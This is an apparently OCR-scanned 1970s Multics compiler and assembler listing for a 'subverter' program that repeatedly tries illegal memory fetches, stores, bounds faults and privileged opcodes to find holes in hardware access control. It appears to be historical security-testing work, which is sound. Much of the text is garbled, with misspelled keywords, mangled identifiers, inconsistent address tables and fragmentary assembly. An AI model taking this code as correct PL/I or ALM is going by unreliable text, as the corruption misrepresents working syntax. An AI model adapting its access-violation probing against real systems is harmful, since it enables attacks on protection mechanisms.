External procedure subverter uses 200 words of automatic storage
Internal procedure get_failure_block uses 74 words of automatic storage
Internal procedure fault_handler uses 76 words of automatic storage
Internal procedure check_zero shares stack frame of external procedure subverter

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.
cp_csa \_call_ext_out desc \_call_ext_out \_call_int_this \_call_int_other return
set_csa \_tra_label_ver \_ext_entry \_int_entry \_int_entry_desc \_rdp_loop_1 lp_bp

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.
access_violations_get_fetch access_violations_setid access_violations_illegal_opcodes access_violations_illegal_bounds_fault
access_violations_store access_violations_xed_fetch access_violations_xed_store clock...
The following external variables are used by this program:

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>000431</td>
<td>72</td>
<td>000437</td>
<td>73</td>
<td>000442</td>
<td>74</td>
<td>000460</td>
<td>75</td>
<td>000462</td>
<td>76</td>
<td>000467</td>
</tr>
<tr>
<td>61</td>
<td>000512</td>
<td>82</td>
<td>000543</td>
<td>84</td>
<td>000545</td>
<td>85</td>
<td>000605</td>
<td>86</td>
<td>000617</td>
<td>89</td>
<td>000665</td>
</tr>
<tr>
<td>95</td>
<td>000672</td>
<td>94</td>
<td>000731</td>
<td>96</td>
<td>000732</td>
<td>98</td>
<td>000734</td>
<td>100</td>
<td>000741</td>
<td>101</td>
<td>000743</td>
</tr>
<tr>
<td>103</td>
<td>000787</td>
<td>T</td>
<td>106</td>
<td>000795</td>
<td>108</td>
<td>000793</td>
<td>111</td>
<td>001016</td>
<td>115</td>
<td>001017</td>
<td>117</td>
</tr>
<tr>
<td>219</td>
<td>001047</td>
<td>120</td>
<td>01951</td>
<td>122</td>
<td>01974</td>
<td>125</td>
<td>01075</td>
<td>127</td>
<td>01103</td>
<td>129</td>
<td>01116</td>
</tr>
<tr>
<td>130</td>
<td>001122</td>
<td>134</td>
<td>00126</td>
<td>135</td>
<td>00127</td>
<td>136</td>
<td>00133</td>
<td>137</td>
<td>00144</td>
<td>139</td>
<td>00153</td>
</tr>
<tr>
<td>140</td>
<td>001176</td>
<td>144</td>
<td>00176</td>
<td>146</td>
<td>00190</td>
<td>148</td>
<td>00222</td>
<td>144</td>
<td>00121</td>
<td>146</td>
<td>00135</td>
</tr>
<tr>
<td>150</td>
<td>001246</td>
<td>152</td>
<td>001254</td>
<td>155</td>
<td>001255</td>
<td>157</td>
<td>001264</td>
<td>159</td>
<td>001274</td>
<td>165</td>
<td>001279</td>
</tr>
<tr>
<td>167</td>
<td>001304</td>
<td>B</td>
<td>170</td>
<td>001395</td>
<td>172</td>
<td>001314</td>
<td>175</td>
<td>001315</td>
<td>177</td>
<td>001326</td>
<td>180</td>
</tr>
<tr>
<td>165</td>
<td>001335</td>
<td>167</td>
<td>001344</td>
<td>198</td>
<td>001345</td>
<td>192</td>
<td>001354</td>
<td>195</td>
<td>001355</td>
<td>197</td>
<td>001364</td>
</tr>
<tr>
<td>262</td>
<td>001374</td>
<td>265</td>
<td>001375</td>
<td>267</td>
<td>001404</td>
<td>273</td>
<td>001405</td>
<td>272</td>
<td>001444</td>
<td>273</td>
<td>001445</td>
</tr>
<tr>
<td>226</td>
<td>001425</td>
<td>222</td>
<td>001434</td>
<td>225</td>
<td>001435</td>
<td>227</td>
<td>001444</td>
<td>230</td>
<td>001445</td>
<td>232</td>
<td>001454</td>
</tr>
<tr>
<td>237</td>
<td>001464</td>
<td>246</td>
<td>001465</td>
<td>242</td>
<td>001474</td>
<td>245</td>
<td>001475</td>
<td>247</td>
<td>001504</td>
<td>250</td>
<td>001505</td>
</tr>
<tr>
<td>255</td>
<td>001535</td>
<td>257</td>
<td>001524</td>
<td>260</td>
<td>001562</td>
<td>262</td>
<td>001565</td>
<td>264</td>
<td>001566</td>
<td>265</td>
<td>001600</td>
</tr>
<tr>
<td>267</td>
<td>001642</td>
<td>266</td>
<td>001632</td>
<td>271</td>
<td>001633</td>
<td>273</td>
<td>001634</td>
<td>274</td>
<td>001652</td>
<td>275</td>
<td>001724</td>
</tr>
<tr>
<td>279</td>
<td>001776</td>
<td>281</td>
<td>001775</td>
<td>282</td>
<td>002024</td>
<td>283</td>
<td>002042</td>
<td>284</td>
<td>002057</td>
<td>285</td>
<td>002370</td>
</tr>
<tr>
<td>289</td>
<td>002219</td>
<td>290</td>
<td>002242</td>
<td>291</td>
<td>002233</td>
<td>292</td>
<td>002233</td>
<td>293</td>
<td>002235</td>
<td>295</td>
<td>002236</td>
</tr>
<tr>
<td>305</td>
<td>002276</td>
<td>306</td>
<td>002276</td>
<td>307</td>
<td>002307</td>
<td>309</td>
<td>002326</td>
<td>311</td>
<td>002353</td>
<td>313</td>
<td>002360</td>
</tr>
<tr>
<td>316</td>
<td>002454</td>
<td>321</td>
<td>002433</td>
<td>322</td>
<td>002435</td>
<td>323</td>
<td>002444</td>
<td>325</td>
<td>002452</td>
<td>328</td>
<td>002460</td>
</tr>
<tr>
<td>331</td>
<td>002594</td>
<td>332</td>
<td>002515</td>
<td>333</td>
<td>002529</td>
<td>335</td>
<td>002596</td>
<td>336</td>
<td>002571</td>
<td>338</td>
<td>002666</td>
</tr>
<tr>
<td>358</td>
<td>002641</td>
<td>361</td>
<td>002640</td>
<td>362</td>
<td>002654</td>
<td>366</td>
<td>002671</td>
<td>368</td>
<td>002751</td>
<td>386</td>
<td>002744</td>
</tr>
<tr>
<td>369</td>
<td>002792</td>
<td>389</td>
<td>003011</td>
<td>391</td>
<td>003012</td>
<td>393</td>
<td>003045</td>
<td>395</td>
<td>003046</td>
<td>397</td>
<td>003047</td>
</tr>
</tbody>
</table>
access_violations();

procedure;
return; /* should never enter here */

/* start of include file subvert_statistics.incl.pl1 */

Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */

decclare

1 subvert_statistics based(sp) aligned,
2 cur_test fixed bin(17) unal, /* number of current test in progress */
3 next_code fixed bin(17) unal, /* next opcode number */
4 end_of_segment fixed bin(17) unal, /* rel pointer to end of segment */
5 last_failure_block fixed bin(17) unal, /* rel pointer to last failure block used */
6 test_in_progress fixed bin, /* test number of test in progress
7 = 0 if no test in progress
8 identifies test in progress if machine crashes */
9 time_of_last_test fixed bin(7),
10 cum_total_time fixed bin(7),
11 number_of_tests fixed bin,
12 tests(i refer(number_of_tests)) aligned,
13 number_of_attempts fixed bin, /* number of attempts of this test */
14 number_of_services fixed bin, /* number of machine or software failures found */
15 failure_block_ptr fixed bin(17) unal, /* rel pointer to start of threaded list of failure blocks */
16 last_test_time fixed bin(7),
17 cum_test_time fixed bin(7);

/* End of subvert_statistics.incl.pl1 */

/* Start of include file failure_block.incl.pl1 */

Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */

Modified 21 July 72 0820 by P. Karger to use fixed bin unal

*/

decclare

1 failure_block based(fp) aligned,
2 version fixed bin, /* version number = 1 */
3 type fixed bin, /* index of test in test array */
4 time_of_failure fixed bin(7),
5 next_block fixed bin(17) unal, /* rel pointer to next failure block of this type */
6 scu_data(5) fixed bin; /* to be defined */

/* End of include file failure_block.incl.pl1 */

decclare

high_code fixed bin int static init (194),
has truncate seq entry int fixed bin, fixed bin.
codes (01104) fixed bin int static init (0, 3, 5, 8, 10, 11, 12, 14, 15, 24, 25, 26, 28, 47, 55, 60,
72, 74, 75, 76, 88, 89, 90, 91, 92, 124, 130, 139, 150, 152, 188, 204, 228, 252, 259,
260, 262, 263, 264, 266, 267, 268, 270, 271, 272, 274, 276, 278, 282, 284, 286, 298, 300, 304,
306, 308, 310, 311, 314, 315, 316, 318, 321, 322, 323, 324, 328, 329, 332, 334, 337, 338, 339,
394, 409, 410, 428, 444, 457, 458, 459, 460, 472, 476, 504),
bounds_fault_ok condition;
get_pdata_entry returns (char (168));
clock_entry returns (fixed bin (71));
subv$legal_of entry (ptr),
subv$entry_of entry (ptr),
subv$illegal_of entry (ptr),
subv$illegal_of entry (ptr),
subv$fixed_fetcher entry (ptr),
subv$storer entry (ptr),
hsr$make_seg entry (char (*), char (*), char (*), fixed bin (5), ptr, fixed bin),
hsr$err_entry_options (variable),
hsr$acl_addy entry (char (*), char (*), char (*), fixed bin (5), dim (012) fixed bin (6), fixed
bin),
cu$fetch_get entry (fixed bin),
nov$ptr int static init (null ()),
rewa$ptr int static init (null ()),
read$ptr int static init (null ()),
bad fixed bin,
f$p ptr,
sp pointer init (pointer (fp, 0)),
array (01262143) fixed bin (35) based,
bitstring bit (2359295) aligned based,
i fixed bin (35),
j fixed bin, p ptr based,
rings (012) fixed bin (6));

get_scratch_seg:
proc;
if scratch_p = null () then call hsr$make_seg ("", "subverter_temp_3", ",", 00111b, scratch_p,
  code);
call hsr$trunc_seg (scratch_p, 0, code);
end;
get_rewa_seg;
procedure;
call hsr$make_seg ("", "subverter_temp_4", ",", 00111b, rewa_p, code);
end;
get_no_acc_seg;
procedure;
if no_acc_p = null () then call hsr$make_seg ("", "subverter_temp_1", ",", 00100b, no_acc_p, code);
end;
procedure;
    if read_p = null () then
        do
            call hcs_make_seg ("", "subverter_temp_2\", "", 01111b, read_p, code);
            read_p -> p = pointer (read_p, 7); /* create pointer to word 7 */
            substr (unspec (read_p -> p), 67, 6) = "011110"b;
            /* put in id modifier to its pointer */
            read_p -> array (7) = 00000000b; /* fill in the tally in the indirect word */
            call cu_sievell_get (); /* get validation level */
            rings (*p) = 1;
            call hcs_sacl_addi (get_pdir_ (), "subverter_temp_2\", "", 01888b, rings, code);
            /* reset the acl */
        end;
    end;

fetch:
    entry (fp);
    call get_no_acc_seg;
    i = no_acc_p -> array (0);
    time_of_failure = clock_ ();
    scu_data (i) = 1;
    return;
    */ attempts to read data from execute only procedure */
    */ make sure we have a pointer to the segment */
    */ make the reference */
    */ should never get here */
    */ save whatever we get */

store:
    entry (fp);
    call get_no_acc_seg;
    no_acc_p -> array (0) = 17;
    time_of_failure = clock_ ();
    return;
    /* attempt to write data into execute only segment */
    /* try to store */
    /* failed */

xad_fetch:
    entry (fp);
    call get_no_acc_seg;
    call subvxad_fetcher (no_acc_p, i);
    time_of_failure = clock_ ();
    scu_data (i) = 1;
    return;
    /* try to fetch with xad instruction */
    /* go into sas code */
    /* should not return */

xad_store:
    entry (fp);
    call get_no_acc_seg;
    call subvxad_storer (no_acc_p);
    time_of_failure = clock_ ();
    return;
    /* try to store with an xed instruction */
    /* go into sas */
    /* should not return */

ill:
    entry (fp);
    call get_read_seg;
    call suv$did_inst (read_p);
    time_of_failure = clock_ ();
    return;
    /* try to store using an indirect and tally modifier */
    /* get a read only segment with data initialized */
    /* go into sas code */
    /* should never return */
entry (fp);
call get_rewa_seg;
call subw$slegal_bf (rewa_p);
if rewa_p -> bitstring = "0"b then signal condition (bounds_fault_ok);
do i = 0 to 65535;
  if rewa_p -> array (1) -= 0 then
    do
      time_of_failure = clock_();
      scu_data (1) = i;
      scu_data (2) = rewa_p -> array (1);
      return;
    end;
  end;
  scu_data (1) = -1;
  scu_data (2) = 0; /* indicate found non-zero first time */
return;

illegal_bounds_fault:
entry (fp);
call get_rewa_seg;
call subw$illegal_bf (rewa_p, i);
time_of_failure = clock_();
scu_data (1) = i;
return;

illegal_opcodes:
entry (fp);
call get_scratch_seg;
if next_code = high_code then next_code = 0;
else next_code = next_code + 1;
call subw$try_op (codes (next_code), scratch_p);
time_of_failure = clock_();
scu_data (1) = codes (next_code);
return;
end;
<table>
<thead>
<tr>
<th>LINE</th>
<th>NUMBER</th>
<th>NAME</th>
<th>PATHNAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>1</td>
<td>subvert_statistics.incl.pli</td>
<td>/user_dir_dir&gt;Druid&gt;Karger&gt;compiler_pool&gt;subvert_statistics.incl.pli</td>
</tr>
<tr>
<td>6</td>
<td>2</td>
<td>failure_block.incl.pli</td>
<td>/user_dir_dir&gt;Druid&gt;Karger&gt;compiler_pool&gt;failure_block.incl.pli</td>
</tr>
</tbody>
</table>
### NAMES DECLARED IN THIS COMPILATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>array</td>
<td></td>
<td>based</td>
<td>fixed bin(35,0)</td>
<td>array dcl 8 set ref 89 99 138 136 77</td>
</tr>
<tr>
<td>bstring</td>
<td></td>
<td>based</td>
<td>bit(255)</td>
<td>dcl 8 ref 132</td>
</tr>
<tr>
<td>bounds_fault_ok</td>
<td>00010</td>
<td>stack</td>
<td>reference</td>
<td>dcl 8 ref 132</td>
</tr>
<tr>
<td>clock</td>
<td>000106</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>external dcl 8 ref 98 99 136 138 136 151 181 161 181 161</td>
</tr>
<tr>
<td>code</td>
<td>000012</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td>dcl 8 set ref 52 53 59 66 73 80</td>
</tr>
<tr>
<td>codes</td>
<td>000232</td>
<td>parameter</td>
<td>pointer</td>
<td>initail array dcl 8 set ref 168 162</td>
</tr>
<tr>
<td>cu_wait_set</td>
<td></td>
<td></td>
<td></td>
<td>external dcl 8 ref 76</td>
</tr>
<tr>
<td>fp</td>
<td>000006</td>
<td>constant</td>
<td>entry</td>
<td>dcl 8 ref 86 90 91 95 99 136 136 142 143 147 151 152 159 161 162 8</td>
</tr>
<tr>
<td>getpdir</td>
<td></td>
<td></td>
<td></td>
<td>external dcl 8 ref 86 80</td>
</tr>
<tr>
<td>hcs_scladdr</td>
<td>000230</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 80</td>
</tr>
<tr>
<td>hcs_set</td>
<td>000226</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 59</td>
</tr>
<tr>
<td>hcs_struncate_block</td>
<td>000012</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
<td>external dcl 8 ref 54</td>
</tr>
<tr>
<td>hcs_scladdr</td>
<td>000112</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td>initail dcl 8 ref 158</td>
</tr>
<tr>
<td>high_code</td>
<td></td>
<td></td>
<td></td>
<td>dcl 8 set ref 89 91 136 136 136 142 143 147 151 152 159 161 162</td>
</tr>
<tr>
<td>j</td>
<td>000013</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 8 set ref 78 79</td>
</tr>
<tr>
<td>next_code</td>
<td>0(18)</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 packed unaligned dcl 1-7 set ref 150 150 150 159 159 160 162</td>
</tr>
<tr>
<td>no_acc_p</td>
<td></td>
<td>internal static</td>
<td>pointer</td>
<td>initail dcl 8 set ref 89 99 136 135 66 66</td>
</tr>
<tr>
<td>p</td>
<td>000164</td>
<td>based</td>
<td>pointer</td>
<td>dcl 8 set ref 74 75</td>
</tr>
<tr>
<td>read_p</td>
<td>000170</td>
<td>internal static</td>
<td>pointer</td>
<td>initail dcl 8 set ref 123 73 73 74 73 75 77</td>
</tr>
<tr>
<td>refs_p</td>
<td>000166</td>
<td>internal static</td>
<td>pointer</td>
<td>initail dcl 8 set ref 131 132 134 138 150 59</td>
</tr>
<tr>
<td>rings</td>
<td>000114</td>
<td>automatic</td>
<td>fixed bin(6,6)</td>
<td>initail dcl 8 set ref 168 92 92 94</td>
</tr>
<tr>
<td>scratch_p</td>
<td>000010</td>
<td>internal static</td>
<td>pointer</td>
<td>array level 2 dcl 2-10 set ref 91 100 137 130 142 143 152 162</td>
</tr>
<tr>
<td>scu_data</td>
<td>000110</td>
<td>automatic</td>
<td>pointer</td>
<td>initail dcl 8 set ref 8 158 158 159 159 160 162 6</td>
</tr>
<tr>
<td>sp</td>
<td></td>
<td></td>
<td></td>
<td>external dcl 8 ref 123</td>
</tr>
<tr>
<td>subvvalid_inst</td>
<td>000222</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 150</td>
</tr>
<tr>
<td>subvvalid_reg</td>
<td>000216</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 151</td>
</tr>
<tr>
<td>subvvalid_reg</td>
<td>000212</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 160</td>
</tr>
<tr>
<td>subvvalid_reg_mem</td>
<td>000164</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 156</td>
</tr>
<tr>
<td>subv_valid_fetcher</td>
<td>000220</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 8 ref 165</td>
</tr>
<tr>
<td>subv_valid_storer</td>
<td>000224</td>
<td>constant</td>
<td>entry</td>
<td>level 2 dcl 2-10 set ref 98 99 136 136 136 151 161 161 161</td>
</tr>
<tr>
<td>time_of_failure</td>
<td>2</td>
<td>based</td>
<td>fixed bin(71,0)</td>
<td>external dcl 8</td>
</tr>
</tbody>
</table>

### NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>com_err</td>
<td>000000</td>
<td>constant</td>
<td>entry</td>
<td>array level 3 dcl 1-7</td>
</tr>
<tr>
<td>cur_test</td>
<td>20</td>
<td>based</td>
<td>fixed bin(71,0)</td>
<td>level 2 dcl 1-7</td>
</tr>
<tr>
<td>cum_test</td>
<td>6</td>
<td>based</td>
<td>fixed bin(71,0)</td>
<td>level 2 packed unaligned dcl 1-7</td>
</tr>
<tr>
<td>cum_total_test</td>
<td>1</td>
<td>based</td>
<td>fixed bin(71,0)</td>
<td>level 2 packed unaligned dcl 1-7</td>
</tr>
<tr>
<td>end_of_segment</td>
<td>1</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>array level 3 packed unaligned dcl 1-7</td>
</tr>
<tr>
<td>failure_block</td>
<td>14</td>
<td>based</td>
<td>structure</td>
<td>array level 3 dcl 1-7</td>
</tr>
<tr>
<td>failure_block_ptr</td>
<td>1</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 packed unaligned dcl 1-7</td>
</tr>
<tr>
<td>last_failure_block</td>
<td>1(18)</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>array level 3 dcl 1-7</td>
</tr>
<tr>
<td>last_test_time</td>
<td>16</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 packed unaligned dcl 1-7</td>
</tr>
<tr>
<td>next_block</td>
<td>4</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>array level 3 dcl 1-7</td>
</tr>
<tr>
<td>number_of_attempts</td>
<td>12</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 dcl 1-7</td>
</tr>
<tr>
<td>number_of_fails</td>
<td>13</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 dcl 1-7</td>
</tr>
<tr>
<td>number_of_tests</td>
<td>10</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 1 dcl 1-7</td>
</tr>
<tr>
<td>subvert_statistics</td>
<td></td>
<td></td>
<td>structure</td>
<td>level 1 dcl 1-7</td>
</tr>
</tbody>
</table>
tests based structure array level 2 dcl 1-7
time_of_last_test 4 based fixed bin(11,0) level 2 dcl 1-7
type 1 based fixed bin(17,0) level 2 dcl 2-10
version based fixed bin(17,0) level 2 dcl 2-10

NAMES DECLARED BY EXPLICIT CONTEXT.
access_violations_ 000057 constant entry external dcl 2 ref 2
fetch 000057 constant entry external dcl 86 ref 86
get_no_acc_seg 00664 constant entry internal dcl 64 ref 86 97 105 114 64
get_read_seg 00735 constant entry internal dcl 69 ref 122 69
get_rewa_seg 00615 constant entry internal dcl 56 ref 130 149 56
get_scratch_seg 000530 constant entry internal dcl 50 ref 157 50
id 000243 constant entry external dcl 128 ref 120
illegal_bounds_fault 00400 constant entry external dcl 147 ref 147
illegal_opcodes 00641 constant entry external dcl 155 ref 155
legal_bounds_fault 000279 constant entry external dcl 128 ref 128
store 000122 constant entry external dcl 95 ref 95
xen_fetch 000150 constant entry external dcl 103 ref 103
xen_store 000211 constant entry external dcl 112 ref 112

NAMES DECLARED BY CONTEXT OR IMPLICATION.
null pointer builtin function internal ref 52 66 71
char pointer builtin function internal ref 52 74

STORAGE REQUIREMENTS FOR THIS PROGRAM.

Object Text Link Symbol Defs Static
Start 0 0 1356 1612 1122 1356
Length 2102 1122 234 261 233 224

External procedure access_violations_ uses 296 words of automatic storage
Internal procedure get_scratch_seg shares stack frame of external procedure access_violations_
Internal procedure get_rewa_seg shares stack frame of external procedure access_violations_
Internal procedure get_no_acc_seg shares stack frame of external procedure access_violations_
Internal procedure get_read_seg shares stack frame of external procedure access_violations_

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.
cp_b3a call_ext_out_desc call_ext_out return signal ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.
clock cu$level_get get_pdir_hcs$accl_addi
hcs$made_seg hcs$struncate_seg subv$ld_inst subv$illegal_bf
subv$legal_bf subv$xed_fetcher subv$xed_storer

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC LINE LOC
8 000047 2 000056 4 000065 86 000066 88 000075 89 000076 90 000101
91 000113 92 000120 95 000121 97 000130 98 000131 99 000134 100 000146
103 000147 105 000156 106 000157 107 000170 108 000202 109 000207 112 000210
114 000217 115 000220 116 000227 117 000241 120 000242 122 000251 123 000252
124 000261 125 000273 126 000274 130 000303 131 000304 132 000313 133 000323
ASSEMBLY LISTING OF SEGMENT >user_dir_dir>Druid>Karger>compiler_pool>subv.alm
ASSEMBLED ON 04/11/74 1626.1 edt Thu
OPTIONS used: list old_object old_call symbols
ASSEMBLED BY: ALM Version 4.4, September 1973
ASSEMBLER CREATED: 02/13/74 1728.8 edt Wed

000000  1       name  subv
000000  00331   2       entry  try_op
000000  000267  3       entry  legal_bf
000000  00310   4       entry  illegal_bf
000000  00212   5       entry  ked_fetcher
000000  000224   6       entry  ked_storer
000000  000240   7       entry  id_inst
000000  000800   8       entry  cam
000000  000100   9       entry  scu
000000  000520  10       entry  ldt
000000  000380  11       entry  idbr
000000  000400  12       entry  sdbr
000000  000500  13       entry  clc
000000  000600  14       entry  dis
000000  000700  15       entry  rcm
000000  001000  16       entry  sccm
000000  001110  17       entry  sdc
000000  001290  18       entry  ldc
000000  001300  19       entry  iam
000000  001400  20       entry  sam
000000  001500  21       entry  scu
000000  000800  22       equ  time_of_failure,2
000000  000003  23       equ  low_order_time,3
000000  000005  24       equ  save_area,5   Place to save registers, etc.
000000  000000  25       temp8 bases,registers
000000  000000  26       tempd control
000000  000000  27

000010  aa 6 00022 3521 20  26  cam: save
000001  aa 2 00020 6521 00
000002  aa 2 00100 3521 00
000003  aa 2 77722 2521 00
000004  aa 2 77700 3331 00
000005  aa 6 00032 2501 00
000006  aa 00000 5320 00  29  cam: 0
000007  aa 000151 7100 04  30  tra  master_mode_succeeded=*,lc Should never get here

8

000100  aa 6 00022 3521 20  32  scu: save
000110  aa 2 00020 6521 00
000111  aa 2 00100 3521 00
000112  aa 2 77722 2521 00
000113  aa 2 77700 3331 00
000114  aa 6 00032 2501 00
000115  aa 00000 6570 00  33  scu: 0
000116  aa 000141 7100 04  34  tra  master_mode_succeeded=*,lc Should never get here either

000170  aa 6 00022 3521 20  36  ldt: save
000180  aa 2 00020 6521 00
000190  aa 2 00100 3521 00
000191  aa 2 77722 2521 00
000192  aa 2 77700 3331 00
000193  aa 6 00032 2501 00
000194  aa 00000 6370 00  37  ldt: 0
000195  aa 00031 7100 04  38  tra  master_mode_succeeded=*,lc

38
000165 ea 4 00202 6331 20 103 rcall <sys_info>[clock_1],* Read the clock
000166 ea 2 00002 7551 00 104 sta bpltime_of_failure Store high order bits
000167 ea 2 00003 7561 00 106 sta bpllow_order_time Store low bits - can't use staq.
000170 ea 00000 6220 00 108 eax2 0 Zero x2
000171 00000 2361 12 109 bases_loop
000172 ea 2 00005 7561 12 110 ldq bases,2
000173 ea 00001 6220 12 111 stq bplsave_area,2
000174 ea 00019 1020 03 112 eax2 1,2 Increment by 1
000175 0a 00017 6040 00 114 tia bases_loop
000176 ea 00000 6220 00 116 eax2 0
000177 00000 2361 12 117 regs_loop
000177 ea 6 00060 2361 12 118 ldq registers,2
000180 ea 2 00015 7561 12 119 stq bplsave_area+8,2
000201 ea 6 0020 1731 20 120 return
000202 ea 6 00010 0731 00 123 eax2 1,2 Increment loop counter by 1
000203 ea 6 00024 6101 00 124 cmx2 0,du < 0 ?
000205 ea 00019 1020 03 125 tia regs_loop
000206 0a 00017 6040 00 129
000207 ea 6 00070 2371 00 129
000210 ea 2 00025 7561 00 127 stq bplsave_area+16
000216 ea 2 00026 7561 00 128 stq bplsave_area+17
000217 ea 6 00032 2501 00 132 xed_fetchers
000212 ea 6 00022 3521 20 133 save
000213 ea 2 00029 6521 00 000214 ea 2 00100 3521 00 000215 ea 2 77722 2501 00 000216 ea 2 77700 3331 00 000217 ea 6 00032 2501 00 134
C 000220 ea 0 00002 3521 20 134 embpp ap12,* get pointer to first arg
C 000221 ea 2 00000 3521 20 135 embpp bpl1,* first arg is a ptr
000222 0a 000261 7160 00 137 xec xed_fetch execute the xed instruction
000223 0a 00254 7100 00 139 tra fetch_succeeded
000224 139
000224 ea 6 00022 3521 20 143 xed_storer
000225 ea 2 00020 6521 00 144 embpp ap12,*
000225 ea 2 00100 3521 00 145 embpp bpl1,*
000227 ea 2 77722 2501 00 146
000228 ea 2 77700 3331 00 147
000231 ea 6 00032 2501 00 147
C 000232 ea 0 00002 3521 20 144 embpp ap12,*
C 000233 ea 2 00000 3521 20 145 embpp bpl1,*
000234 0a 00266 7160 00 147 xec xed_store
illegal_bit

save

eappp ap12,*
eappp bp10,*
eax1 0
eax2 10000
xed bounds_pair

got pointer to return point
store the value we got illegally

arg_04 arg 0

try_opt save

load the opcode
shift it left 9 bits
add in the arg 0 instruction
pointer to arg 2
arg 2 is a pointer to segment
store the instruction in the segment
now execute the instruction

return

end
<table>
<thead>
<tr>
<th>Address</th>
<th>Type</th>
<th>Offset</th>
<th>Symbol</th>
</tr>
</thead>
<tbody>
<tr>
<td>000352</td>
<td>5a</td>
<td>000003</td>
<td>rcu</td>
</tr>
<tr>
<td>000353</td>
<td>2a</td>
<td>000174</td>
<td></td>
</tr>
<tr>
<td>000354</td>
<td>aa</td>
<td>003162</td>
<td>143 165</td>
</tr>
<tr>
<td>000355</td>
<td>3a</td>
<td>000006</td>
<td>00000</td>
</tr>
<tr>
<td>000356</td>
<td>2a</td>
<td>000166</td>
<td>00000</td>
</tr>
<tr>
<td>000357</td>
<td>aa</td>
<td>003163</td>
<td>141 155</td>
</tr>
<tr>
<td>000358</td>
<td>3a</td>
<td>000111</td>
<td>00000</td>
</tr>
<tr>
<td>000361</td>
<td>2a</td>
<td>000160</td>
<td>00000</td>
</tr>
<tr>
<td>000362</td>
<td>aa</td>
<td>003154</td>
<td>141 155</td>
</tr>
<tr>
<td>000363</td>
<td>3a</td>
<td>000015</td>
<td>00000</td>
</tr>
<tr>
<td>000364</td>
<td>2a</td>
<td>000152</td>
<td>00000</td>
</tr>
<tr>
<td>000365</td>
<td>aa</td>
<td>004154</td>
<td>141 143</td>
</tr>
<tr>
<td>000366</td>
<td>aa</td>
<td>154 000</td>
<td>000 00</td>
</tr>
<tr>
<td>000367</td>
<td>5a</td>
<td>000021</td>
<td>00000</td>
</tr>
<tr>
<td>000370</td>
<td>2a</td>
<td>000144</td>
<td>00000</td>
</tr>
<tr>
<td>000371</td>
<td>aa</td>
<td>004163</td>
<td>155 151</td>
</tr>
<tr>
<td>000372</td>
<td>aa</td>
<td>143 000</td>
<td>000 00</td>
</tr>
<tr>
<td>000373</td>
<td>5a</td>
<td>000025</td>
<td>00000</td>
</tr>
<tr>
<td>000374</td>
<td>2a</td>
<td>000136</td>
<td>00000</td>
</tr>
<tr>
<td>000375</td>
<td>aa</td>
<td>004163</td>
<td>155 143</td>
</tr>
<tr>
<td>000376</td>
<td>aa</td>
<td>155 000</td>
<td>000 00</td>
</tr>
<tr>
<td>000377</td>
<td>5a</td>
<td>000031</td>
<td>00000</td>
</tr>
<tr>
<td>000400</td>
<td>2a</td>
<td>000130</td>
<td>00000</td>
</tr>
<tr>
<td>000401</td>
<td>aa</td>
<td>004162</td>
<td>155 143</td>
</tr>
<tr>
<td>000402</td>
<td>aa</td>
<td>155 000</td>
<td>000 00</td>
</tr>
<tr>
<td>000403</td>
<td>5a</td>
<td>000034</td>
<td>00000</td>
</tr>
<tr>
<td>000404</td>
<td>2a</td>
<td>000122</td>
<td>00000</td>
</tr>
<tr>
<td>000405</td>
<td>aa</td>
<td>003144</td>
<td>151 163</td>
</tr>
<tr>
<td>000406</td>
<td>5a</td>
<td>000040</td>
<td>00000</td>
</tr>
<tr>
<td>000407</td>
<td>2a</td>
<td>000114</td>
<td>00000</td>
</tr>
<tr>
<td>000408</td>
<td>aa</td>
<td>004143</td>
<td>151 157</td>
</tr>
<tr>
<td>000411</td>
<td>aa</td>
<td>143 000</td>
<td>000 00</td>
</tr>
<tr>
<td>000412</td>
<td>3a</td>
<td>000044</td>
<td>00000</td>
</tr>
<tr>
<td>000413</td>
<td>2a</td>
<td>000106</td>
<td>00000</td>
</tr>
